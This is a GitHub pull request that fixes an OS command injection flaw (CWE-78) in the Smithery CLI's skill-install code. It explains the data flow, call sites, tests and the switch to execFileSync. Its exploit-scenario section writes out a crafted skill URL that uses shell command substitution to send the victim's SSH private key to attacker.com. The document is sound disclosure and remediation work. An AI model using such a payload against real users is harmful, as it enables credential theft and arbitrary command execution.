fix: prevent command injection in skill install (CWE-78)#712
Open
sebastiondev wants to merge 2 commits intosmithery-ai:mainfrom
Open
fix: prevent command injection in skill install (CWE-78)#712sebastiondev wants to merge 2 commits intosmithery-ai:mainfrom
sebastiondev wants to merge 2 commits intosmithery-ai:mainfrom
Conversation
…n in skill install
Replace execSync(string) with execFileSync("npx", [...args]) in
installSkill to avoid shell interpretation of user-supplied URLs.
The skillUrl parameter was interpolated into a shell command string,
allowing shell metacharacters (;, |, $(), backticks) in URLs to be
executed. execFileSync with an args array bypasses the shell entirely.
CWE-78: OS Command Injection
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Vulnerability Summary
CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
Severity: High
Data Flow
User-supplied input flows unsanitized from CLI arguments into a shell command:
The
installSkillfunction insrc/commands/skill/install.tsconstructs a shell command by interpolating the skill URL (which can be user-supplied) directly into a string passed toexecSync(). SinceexecSyncwith a string argument spawns a shell (/bin/sh -c "..."), any shell metacharacters in the URL (;,|,$(), backticks) are interpreted, enabling arbitrary command execution.Exploit Scenario
A malicious actor publishes a guide instructing users to run:
smithery skill add 'http://legit.com/skill$(curl attacker.com/c?d=$(cat ~/.ssh/id_rsa|base64 -w0))'The victim copies and pastes the command. Inside
installSkill, the URL passes thestartsWith("http")check and flows directly into:The shell interprets
$(...)as command substitution, exfiltrating the victim's SSH private key.Caller Trace
installSkill()is invoked from 3 call sites:src/index.ts:999—smithery skill add <skill>command.skillcomes fromprocess.argv. Directly attacker-controllable via social engineering.src/index.ts:1134—smithery setupcommand. Uses hardcoded"smithery-ai/cli". Not exploitable.src/commands/skill/search.ts:312— Interactive search. Identifier from API response. Potentially exploitable if a malicious publisher registers a skill with metacharacters.Preconditions
@smithery/cliinstalledsmithery skill add <malicious-url>(e.g., by copy-pasting from a phishing guide)Existing Mitigations
None. No input validation, sanitization, or shell escaping exists anywhere in the data flow. The URL flows directly from
process.argv→resolveSkillUrl()→ string interpolation →execSync().Fix Description
Replace
execSync(commandString)withexecFileSync("npx", argsArray).Rationale
execFileSyncexecutes the binary directly without spawning a shell, so metacharacters in arguments are never interpreted — they are passed as literal argv entries to the child process.commandstring is retained for theconsole.logdisplay only (user feedback); it is never passed to a shell.Test Results
All 370 tests pass (32 test files), including 4 new injection-specific tests and 9 updated existing tests.
New test file:
skill-install-injection.test.ts(4 tests);,|,$()payload is passed as a single array argument toexecFileSync, andexecSyncis never called["-y", "skills", "add", url]args--agent,-g,-y,--copyare all individual array entriesUpdated test file:
skills.test.ts(9 tests)All 9 existing tests updated from
execSync(stringContaining(...))assertions toexecFileSync("npx", arrayContaining([...]))assertions. All pass.Pre-push checks
biome check— 149 files checked, no issuestsc— TypeScript compilation cleanvitest run— 370/370 tests passDisprove Analysis
We systematically attempted to invalidate this finding:
Authentication Check
No authentication guards on
installSkill(). Thesmithery skill add <skill>command requires no login. Anyone can invoke it with arbitrary input.Network/Deployment Check
This is a CLI tool installed globally via npm. It runs locally on end-user machines. No localhost/CORS/container restrictions apply.
Input Validation Check
No sanitization, validation, or escaping exists anywhere in
install.tsor inresolveSkillUrl(). If the identifier starts with"http", it is returned verbatim and interpolated into the shell command.Fix Adequacy Check
exec/execSyncsites in the codebase (e.g.,client.ts,bundle/*.ts) use different input sources and are tracked separately.execFileSync("npx", [...args])is the standard, recommended remediation.Prior Reports
No prior security issues or fixes found in the repository.
Verdict
CONFIRMED_VALID — High confidence. The vulnerability is textbook CWE-78 with a clear, exploitable data flow and no existing mitigations. The fix is correct, minimal, and well-tested.
Files Changed
src/commands/skill/install.tsexecSync(string)withexecFileSync("npx", args)src/commands/__tests__/skills.test.tsexecFileSyncarray-based APIsrc/commands/__tests__/skill-install-injection.test.ts